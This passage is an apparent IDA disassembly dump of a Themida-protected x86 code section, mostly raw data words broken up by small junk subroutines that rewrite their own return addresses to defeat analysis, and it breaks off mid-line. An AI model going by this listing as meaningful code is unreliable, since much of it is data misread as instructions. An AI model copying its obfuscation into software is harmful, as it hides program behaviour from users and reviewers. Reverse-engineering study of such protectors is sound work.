dd 0B042D95h, 80BE6606h, 661A8907h, 3415C181h, 3044289h dd 0B0FBDB5h, 12E806h, 0D6570000h, 862BAC35h, 78802DC7h dd 0D3233C30h, 8B1A358Ch, 1FADB58Bh, 8D5F060Bh, 0B2A1D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0E960825Ah, 9, 0AC9ACFB8h, 9DB80286h, 29958B46h dd 61060B2Bh, 0BF0F1A89h, 44289F6h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0EC35545h, 1FCA6EAh, 0B120D8Dh dd 39958D06h, 29060B21h, 0B2881BDh, 6A1A8906h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 68F2C353h, 2061BD8Bh, 4289060Bh, 318D8B04h dd 8D060B00h, 0B329195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0A63430E0h, 0E7E1CE96h dd 6A1A8912h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 79C4C355h, 0CB8DE535h, 837FD023h dd 0C5B96660h, 0D185014Ah, 61060B21h, 0E9044289h, 95h dd 10218D8Bh, 6A060Bh, 127DBD89h, 6A060Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 39C35040h, 0E88A7D68h dd 22418501h, 6A060Bh, 0F162CABFh, 6A006A72h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 1BF1C351h, 0FFF38BD3h, 0B27A595h, 6AC306h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 542FE4C3h dd 1E1D438Bh, 15B50B3Ah, 81060B2Fh, 0DDEDA7D7h, 6AC58A27h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8947C356h, 0B03A98Dh, 6AC08B06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0A9FFC356h, 0BE9h, 91082A00h, 0E4C6DE9Ah, 0B2B5B248h dd 1415B533h, 0BD83060Bh, 60B05BDh, 83097500h, 0B29D1BDh dd 19740006h, 0C08B5350h, 438B8h, 99858900h, 8D060B12h dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h dd 438B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h dd 0D9BD8B58h, 6A060B2Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 2762C356h, 0F8D12F87h dd 58C0Fh, 81660000h, 8BC280E6h, 0A9858DC0h, 6A060B28h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 7EB3C351h, 6F55F49Bh, 50DE8B66h, 8E9h, 27530B00h dd 42C7652Eh, 24048996h, 0B971E781h, 6A48DBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4FC35141h, 6A2CD8h dd 8E9h, 0B4BE1D00h, 158895D7h, 7D858D32h, 6A060F32h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 3311C352h, 0B0311BDh, 81666006h, 0B5CD21F2h, 0BD8B614Ah dd 60B2069h, 6605C083h, 1ECFF781h, 0D88B5250h, 2404895Fh dd 2A298509h, 6A060Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 7BC35141h, 28E81EAh, 0E9334170h, 14h dd 3273BC9Fh, 11929170h, 0DD8EA212h, 488ADDA5h, 0E4BCA268h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0B44A7EC3h, 0DC969443h, 9589CDAFh, 60B1B79h dd 2195FFF5h, 0E9060B2Fh, 0Bh, 0E75F6FE6h, 3D706EF0h, 8D372EA9h dd 0EA7B08Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 13E8CCF0h, 0EB000000h, 0BAE7F977h dd 17F67467h, 0C0B43181h, 79731960h, 8589B9BAh, 60B2D89h dd 6AD1FF5Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 454CC352h, 6655A330h, 0A20EE381h dd 0B19BD83h, 0F01060Bh, 8085h, 71BD2300h, 6A060B31h, 0BE802h dd 1AFD0000h, 0B7ED6243h, 0ADC39C23h, 0B1BD09D6h, 5B060B32h dd 0FE95790h, 8F000000h, 623C6197h, 284ABAE0h, 3DE9E3BDh dd 505B38A8h, 0BF665250h, 310FB4F8h, 6AB96660h, 48B86641h dd 585A6167h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 42E7D104h, 3100E5F6h, 0B03D58Dh dd 1595FF06h, 0B060B0Fh, 0B2B61BDh, 0C9CE906h, 0E80000h dd 5D000000h, 3287ED81h, 8509060Fh, 60B16B9h, 10759D03h dd 858D060Bh, 60E9293h, 90ADDF80h, 10E95360h, 63000000h dd 39570609h, 0A5190ABDh, 994116D1h, 5A8FCE5Ch, 3274BF60h dd 47BB4FBBh, 6140B5E7h, 52505061h, 6860Fh, 840F0000h dd 0 dd 0BF66310Fh, 585A266Eh, 11B58990h, 64060B1Ah, 35FFh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0DDEA9FC3h, 0D52A9569h, 89E5B396h, 0B24B9BDh dd 25896406h, 0 ; --------------------------------------------------------------------------- jnp loc_57F3CE mov di, 5111h loc_57F3CE: ; CODE XREF: Themida_:0057F3C4j inc dword ptr [ebp+60B066Dh] push 0 push eax call sub_57F3DF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F3DF proc near ; CODE XREF: Themida_:0057F3D7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_57F3DF endp ; --------------------------------------------------------------------------- db 77h dd 8B70412Fh, 0B20C1BDh, 0FFFF6A06h, 0B1ADDB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 896A5653h, 0B07F99Dh, 1195FF06h, 0E9060B24h, 10Fh, 0F800Fh dd 0AE90000h, 0D1000000h, 0FD06FFD6h, 68B15A5Ah, 0E600B0A5h dd 0CB816670h, 71E4D522h, 0A5DF8166h, 0F613C2Ah, 0E283h dd 0BE900h, 262E0000h, 2E599ACAh, 0CA7C70A7h, 0C8B60F08h dd 6BAh, 89C18B00h, 0B2E49BDh, 4E8C106h, 7E9h, 55D1900h dd 13C51Fh, 8BE2F766h, 0B33819Dh, 80C82B06h, 0D18BCDD7h dd 28D0Fh, 0FE8B0000h, 6E9h, 518D8900h, 8B060B02h, 0B182D85h dd 71BD8906h, 29060B0Ch, 0B27ED8Dh, 7C08306h, 0E1B50360h dd 66060B2Ah, 8361F88Bh, 0D98B00C0h, 830FD03Bh, 16h, 6E9h dd 0D1829300h, 0E90FB675h, 53h, 7199D8Bh, 8D8B060Bh, 60B2A9Dh dd 83F88B66h, 840F01E1h, 3Bh, 9E9h, 8EB1E800h, 414DD3F2h dd 3DBF7266h, 83766B1Dh, 0B2A9DA5h, 0FE9FE06h, 8E000000h dd 89E96765h, 832C86AEh, 9DF9ED24h, 9589C81Dh, 60B182Dh dd 0E9E1B7h, 8D000000h, 0EBDD2B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0F781229Ah dd 4D5772ABh, 11E9006Ah, 45000000h, 85DE0BC0h, 0F729B743h dd 6EDDE124h, 5301CB7Bh, 32DD95FFh, 6A060Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BB48BC3h dd 713B9FEh, 0BF660000h, 0E183F3E7h, 28C0FFCh, 8B000000h dd 870FFCD9h, 6, 65B589h, 0BD8B060Bh, 60B0E79h, 0B8h, 8BFB8B00h dd 0B2961BDh, 66D22B06h, 33ADFE8Bh, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0A97D41C3h, 0CE424F6Eh, 9D8B9815h, 60B0791h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5FC35141h dd 0D9BBBD30h, 880D869Fh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 88D7C353h dd 9ED84147h, 0DE9h, 30031700h, 0CD4951h, 0BBE30789h, 8D894977h dd 60B1021h, 174D958Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 6A3BC7C3h, 0BF0FB7F2h dd 49BD09FBh, 8B060B20h, 0B01198Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0DE8F9h, 0B0FE0000h dd 36A02634h, 0D4688AFDh, 5F8EE5DCh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BF665818h, 0BD83D77Dh, 60B29BDh dd 6C840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0B8F9C350h, 0 ; --------------------------------------------------------------------------- mov [ebp+60B0DC9h], esi lea ecx, [ebp+60B4DD7h] push 0 push edx call sub_57F733 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F733 proc near ; CODE XREF: Themida_:0057F72Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_57F733 endp ; --------------------------------------------------------------------------- db 82h dd 66C935Bh, 0AF66549Ch, 7E9B7h, 5F60000h, 61DE4F3Ah, 8CF38145h dd 0FF394FBAh, 41B529E1h, 83060B03h, 0B1009BDh, 840F0006h dd 380h, 8199D89h, 0BF60060Bh, 45F09BD7h, 61F0B70Fh, 1009BD83h dd 0F01060Bh, 37E84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0CF374063h, 5890F43h dd 60000000h, 61EFE280h, 1009BD83h, 0F03060Bh, 31086h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0A0F35C0Ch, 60312BBDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 80C35343h, 19118D29h, 8C66060Bh dd 0CE9D9h, 0DDC00000h, 0C513F8F7h, 0F24CB34Fh, 0E180D4F9h dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0F067E24h, 0C90AD8B7h, 10B840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 684D58C3h, 8BD88B31h, 0B317D85h, 0DFBF0F06h, 6ED8533h dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 11E8BDC3h, 9F000000h, 78A008D3h, 3F6C3AD0h dd 0B997D716h, 0BC5C72Eh, 8B5FDE8Ah, 0B2461BDh, 0BB665006h dd 4895101h, 0D171BB24h, 6A3CD5h, 0E8DABF0Fh, 4, 1F03FFh dd 0F989BF66h, 8BDF8B50h, 66042444h, 8BFA8Bh, 9800Fh, 820F0000h dd 3, 89FE8B66h, 51042444h, 6A585Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 97F6F4C3h dd 0C430D0CEh, 800FCE3Eh, 0Dh, 8E9h, 6D12AA00h, 0A46D0876h dd 0D195FF96h, 8B060B03h, 0B0E79BDh, 1D858906h, 0BF060EA8h dd 34F0A83Eh, 17559529h, 1BE9060Bh, 89000001h, 0B0399BDh dd 15858B06h, 8B060EA8h, 0B04EDBDh, 1800C706h, 66000000h dd 8BC0EABBh, 0EA819B5h, 0E1858B06h, 6A060B06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0C77C352h, 7B6012EFh, 32E78135h, 8B089336h, 0B2435BDh dd 89068906h, 0B15B595h, 7D858B06h, 8B060B31h, 0B16BDBDh dd 4468906h, 50FE8B66h, 8B665250h, 66310FD8h, 585AFA8Bh dd 66243489h, 0FFD919BBh, 0EA815B5h, 919D0B06h, 68060B2Ah dd 8D090050h, 7E9h, 0A7B08700h, 633D792h, 0AF240481h, 6A731603h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 2FEFC355h, 5C1381E9h, 0BD89CDC8h, 60B2991h dd 190D8509h, 858D060Bh, 60EA81Dh, 66E78166h, 5250909Eh dd 310F5AB7h, 7E8h, 9B607200h, 0D812B786h, 5A5FF88Bh, 0F88B5058h dd 0C1BD8990h, 0FF060B26h, 0B03D195h, 0CE906h, 0C02D0000h dd 0AC1B0C63h, 0EEBFD691h, 6A61D0BBh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8909C351h dd 0B2131BDh, 985C706h, 3060B10h, 83000000h, 0EA81DBDh dd 840F0006h, 31h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 6FC35040h, 0A011B041h, 2AAD8589h, 21E9060Bh dd 8B000000h, 0B0D2DBDh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 6D71D3BBh, 9BD8334h, 3060B10h dd 451850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BD0B4BC3h, 60B2011h, 68D0Fh, 85890000h dd 60B1B4Dh, 0A81DBD83h, 0F00060Eh, 41684h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 98D29BAh, 8B060B0Ch, 0B00E1BDh, 1DB5FF06h, 6A060EA8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0A6DCC350h, 0B589198Eh, 60B12E5h, 83D95FFh dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 68CADCC3h, 0FBCAB14h, 68Eh, 0D5BD8900h, 8B060B32h dd 0EA811B5h, 106C706h, 0B7000100h, 8CBF96F9h, 5023BC5Ch dd 6A96FB8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 3C8EC350h, 94EB05E1h, 0B5FF131Eh dd 60EA81Dh, 13219589h, 95FF060Bh, 60B0641h, 0A811B58Bh dd 0EB81060Eh, 6E857A9h, 121D858Bh, 6A060Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 232B83C3h dd 0B0875BDh, 0C4868906h, 0F000000h, 958BFEBFh, 60B174Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 25C35747h dd 6A04C283h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0A5B6C350h, 152D9D29h, 0C781060Bh dd 12C26C0Ch, 6A205089h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0ED0CC352h, 0CE3219B1h dd 10E9h, 0A6418D00h, 410E5CD9h, 32DD5D21h, 433CD04Ah dd 8DD88B5Ch, 0EBAEE85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0A208756Bh, 0FB2211Ch dd 68Ah, 499D8B00h, 89060B18h, 0B886h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 4EC71121h, 7FBBDF51h, 6A302CA5h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 89BD899Dh dd 0FF060B0Bh, 0EA81DB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 1A3D5389h dd 35A50503h, 66D98AB9h, 0B2EDCF81h, 0F1595FFh, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 6EC510C3h, 98D91AF3h, 9D8D896Eh, 50060B05h, 7684BF66h dd 0F243489h, 0B5FFDBBFh, 60EA81Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 2BC35646h, 0BB66F2C8h, 95FF24F8h dd 60B00F5h, 2191BD83h, 0F00060Bh, 2384h, 0BA2CBF00h, 0E8507185h dd 8, 0F8D29130h, 89A73A4h, 6840Fh, 810F0000h, 0 ; --------------------------------------------------------------------------- pop edi mov [esp], esi push dword ptr [ebp+60EA81Dh] push 0 push ebp call sub_57FE71 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57FE71 proc near ; CODE XREF: Themida_:0057FE69p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_57FE71 endp ; --------------------------------------------------------------------------- stosd push 2 mov ah, 9Bh jmp loc_57FE97 ; --------------------------------------------------------------------------- db 3 dd 2AB32DA0h, 0F322BE63h ; --------------------------------------------------------------------------- sbb cs:[ecx], eax loc_57FE97: ; CODE XREF: Themida_:0057FE86j call sub_57FEA7 cmpsd clc and ebp, [edi+32h] mov ah, 0CBh dec eax retn ; --------------------------------------------------------------------------- db 0B9h, 82h ; =============== S U B R O U T I N E ======================================= sub_57FEA7 proc near ; CODE XREF: Themida_:loc_57FE97p pop edi pusha jmp loc_57FEBE ; --------------------------------------------------------------------------- dw 0F5Dh dd 325DF423h, 85D8EECAh, 3DF8319Dh db 61h, 0EAh ; --------------------------------------------------------------------------- loc_57FEBE: ; CODE XREF: sub_57FEA7+2j jbe loc_57FECA mov edx, [ebp+60B2781h] loc_57FECA: ; CODE XREF: sub_57FEA7:loc_57FEBEj popa call dword ptr [ebp+60B1281h] push 0 push edi call sub_57FEDC and [edi-3Dh], bl sub_57FEA7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57FEDC proc near ; CODE XREF: sub_57FEA7+2Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_57FEDC endp ; --------------------------------------------------------------------------- dd 8DCC32D7h, 2870Fh, 0DF8B0000h, 0A81DB5FFh, 6A060Eh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 89802DC3h, 0B0BC995h, 0D7816606h, 95FFB6EBh, 60B0B8Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 35C35545h dd 0D0E78166h, 0F7F38174h, 830A36D8h, 0B17F1BDh, 840F0206h dd 21h, 133CF781h, 858B2238h, 60B2EC5h, 68B0Fh, 95890000h dd 60B1639h, 8B0000C6h, 0B0DA1BDh, 0B985C706h, 60B06h dd 66000000h, 0E9C161BFh, 0FFFFF465h, 8B7FD380h, 53006AC1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 382E90FDh, 69BF66C7h, 0EF816661h, 858DEC0Bh, 60B28A9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 49C35747h dd 0BF0F0324h, 499D8BDBh, 50060B2Fh, 489F88Ah, 8E924h dd 0E98D0000h, 0F4352E37h, 6A60DFh, 0E5DE8060h, 19E18589h dd 6661060Bh, 6A4129BBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 70F26DD6h, 0BD8C3BD1h dd 870F27FFh, 4, 2B9FBB66h, 6F79ADBBh, 0F5858D63h, 6A060F40h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 79DAC351h, 427D973h, 858973C2h, 60B0705h dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 5CCEC355h, 0BD8B24F5h, 60B1019h dd 4A9EBF66h, 6E890h, 41730000h, 6C5384Ch, 10B3505Fh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0D7812EA4h, 114C7480h, 6A006AF5h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8957C351h dd 0B2021B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 603C352h, 0F0693E39h dd 0E9969B90h, 2F2195FFh, 8D8D060Bh, 60EA7B0h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C6C35343h, 8AF0A31Dh dd 50CCAA8Dh, 12A58509h, 0FF5B060Bh, 0DABF0FD1h, 0B19BD83h dd 0F01060Bh, 2C85h, 8B026A00h, 0B1335BDh, 0BE89006h, 72000000h dd 365B376Ch, 0A7153756h, 0D98A4B21h, 0DA8B505Bh, 1595FF90h dd 29060B0Fh, 0B18D98Dh, 0EB7E906h, 0E80000h, 5D000000h dd 40FFED81h, 0EB81060Fh, 42335013h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0A5C35040h, 0F4C559Bh, 0B8Fh dd 8B666000h, 0E59589F3h, 61060B29h, 9293858Dh, 0E990060Eh dd 0Fh, 0C05B5961h, 3497ACC1h, 4661C18Fh, 50AD4606h, 8E9h dd 0AC48AE00h, 51DA354Ch, 0BD039033h, 60B0961h, 35FF64h dd 0F000000h, 68Eh, 0E19D3300h, 64060B1Fh, 2589h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0B92D3C3h, 532CB680h, 661FE676h, 85FFDA8Bh, 60B066Dh dd 0CFBBBF66h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0CB67D7C3h, 37B2C23Dh, 9D8BD0D1h dd 60B26D5h, 1A49B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B5897CC3h, 60B13A9h dd 3399D8Bh, 95FF060Bh, 60B2411h, 188E9h, 0C830F00h, 0F000000h dd 686h, 0F98D0900h, 0B0060B22h, 8810F00h, 0F000000h, 28Dh dd 0F5F5100h, 180h, 70E6F500h, 15D98509h, 0BD8B060Bh, 60B2491h dd 0F96071E4h, 212D9523h, 3C61060Bh, 3E830F61h, 1000001h dd 0B28A59Dh, 0C8B60F06h, 0D9D8D89h, 6BA060Bh, 8B000000h dd 0B98529C1h, 89060B2Ah, 0B028DB5h, 4E8C106h, 66D98B66h dd 0BD8BE2F7h, 60B19EDh, 8BFCC82Bh, 0FD18BD8h, 0C82h, 6840F00h dd 29000000h, 0B28FD8Dh, 2E906h, 5B530000h, 41D858Bh, 9D09060Bh dd 60B00D5h, 8907C083h, 0B132185h, 0C08306h, 46F68160h dd 61083313h, 830FD03Bh, 46h, 0FE8h, 8DC89C00h, 0FDE634F0h dd 6C48EE7Ah, 0E298AD65h, 14E960h, 0E77D0000h, 63F8677Eh dd 1179A884h, 144BCF4Fh, 0C89863ECh, 5F6189B9h, 90E9h dd 0BE9F800h, 5C000000h, 9939BBDDh, 3B06E5E4h, 8D8B0A5Bh dd 60B2421h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh, 0FDBF7BF2h dd 83786099h, 840F01E1h, 59h, 13E9h, 9030BC00h, 56D8895Bh dd 0F9F5891h, 313D4855h, 72202418h, 2421A583h, 0E8FE060Bh dd 13h, 7C09C9E2h, 454A89ADh, 62CDB2Eh, 0CB444D5Ch, 331B7A38h dd 0B0DC9BDh, 95895F06h, 60B041Dh, 0FDA8B66h, 78Ch, 81665100h dd 5FAA06DFh, 0E9h, 0BEB58D00h, 6A060EC6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 492AC355h dd 0B589B0F0h, 60B1825h, 8A0F006Ah, 1, 0DD95FFFCh, 31060B32h dd 0B01B98Dh, 0DF1B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 751472C3h, 0A4BFFEFBh dd 83479BC2h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0C9C66DC3h, 20D09E75h, 6AFCA06Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 2BD4C352h, 8D5EA12Eh, 8960C036h, 0B0689B5h dd 2800F06h, 8B000000h, 0C02B61DAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0BBC35040h, 319D8BC9h, 2B060B10h dd 0E58589D2h, 0AD060B14h, 0E8D1C233h, 0E983D003h, 80F47504h dd 6A50DFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 11E982C3h, 0DB000000h, 1673609Ah, 7B14B8E3h dd 0EC9DEE09h, 6CB6C03Ah, 11E9h, 0E3A1ED00h, 0F3C2842Dh dd 4027654Eh, 916C14CBh, 880D0116h, 0F000000h, 684h, 99D8900h dd 8B060B00h, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8D8B2823h, 60B0119h, 0AF98D89h dd 8B50060Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DCC35141h dd 0CAF6717Bh, 5FF88B53h, 4F69BF66h, 29BDBD83h, 0F00060Bh dd 2584h, 159D2300h, 0B8060B14h, 0 ; --------------------------------------------------------------------------- add [ebp+60B14D5h], edi lea ecx, [ebp+60B4DD7h] mov ebx, [ebp+60B2179h] jmp ecx ; --------------------------------------------------------------------------- or edi, 464C20D3h cmp dword ptr [ebp+60B1009h], 0 jz loc_580AF9 push 0 push esi call sub_580656 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580656 proc near ; CODE XREF: Themida_:0058064Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_580656 endp ; --------------------------------------------------------------------------- dw 0B6C1h dd 9E78073h, 1009BD83h, 0F01060Bh, 49B84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 9FB8E4F6h, 6621D381h, 0BD8B096Eh, 60B1259h, 1009BD83h dd 0F03060Bh, 42D86h, 619D8B00h, 60060B11h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BEC35141h, 6AD98C66h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1E65C350h, 14E9h, 53856E00h, 51A10BF9h, 0EE2B14E8h dd 6530176Fh, 2DD69FE9h, 80F88A19h, 6A04E1h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 518F44C3h dd 6CC51EAEh, 0E59D8B30h, 57060B12h, 5BEDBF66h, 0FC90A5Bh dd 12284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0B598A60Eh, 317D858Bh, 860F060Bh dd 3, 33D8B70Fh, 0B06ED85h, 599D3306h, 89060B02h, 0B0F49B5h dd 4895006h, 6ADB8024h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 8720FFC3h, 62AEBF66h dd 37D3C468h, 5860F61h, 0BF000000h, 6BF0AF99h, 3B243481h dd 0F6128D0h, 148Bh, 8E800h, 0B7E40000h, 0C7C93890h, 840F50F6h dd 0 ; --------------------------------------------------------------------------- pop edi call dword ptr [ebp+60B03D1h] push 0 push edi call sub_5807F6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5807F6 proc near ; CODE XREF: Themida_:005807EEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5807F6 endp ; --------------------------------------------------------------------------- pop ds push ecx pop esi mov ebp, 85893A89h add eax, 23060B0Ch popf stc pop ss or eax, [esi] mov [ebp+60EA81Dh], eax push 0 push edi call sub_580829 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580829 proc near ; CODE XREF: Themida_:00580821p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_580829 endp ; --------------------------------------------------------------------------- db 0CDh, 0E6h, 24h ; --------------------------------------------------------------------------- adc es:[esi+44h], cl xchg eax, edx lea cx, [ecx+0B16BD95h] push es jmp loc_580A78 ; --------------------------------------------------------------------------- dw 11E8h dd 0BF000000h, 55D39A04h, 0F3F16C74h, 0A59A0E27h, 7D94A094h dd 32F58589h, 8B5B060Bh, 0EA81585h, 14E806h, 1A2C0000h dd 9750D47Ch, 0F0EB4178h, 4C36522h, 0A6C17A5Eh, 13E86259h dd 4B000000h, 0CC5743E5h, 32B8A180h, 914A1D17h, 0A9DA9DE4h dd 0AE8222Dh, 94000000h, 860D9980h, 0C8B1BAC1h, 5B5F5B88h dd 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 629E37C3h, 19B58B3Ah, 6A060EA8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0B866C357h, 359D8B57h, 5B060B13h, 6E1858Bh dd 8B66060Bh, 6A0689D9h, 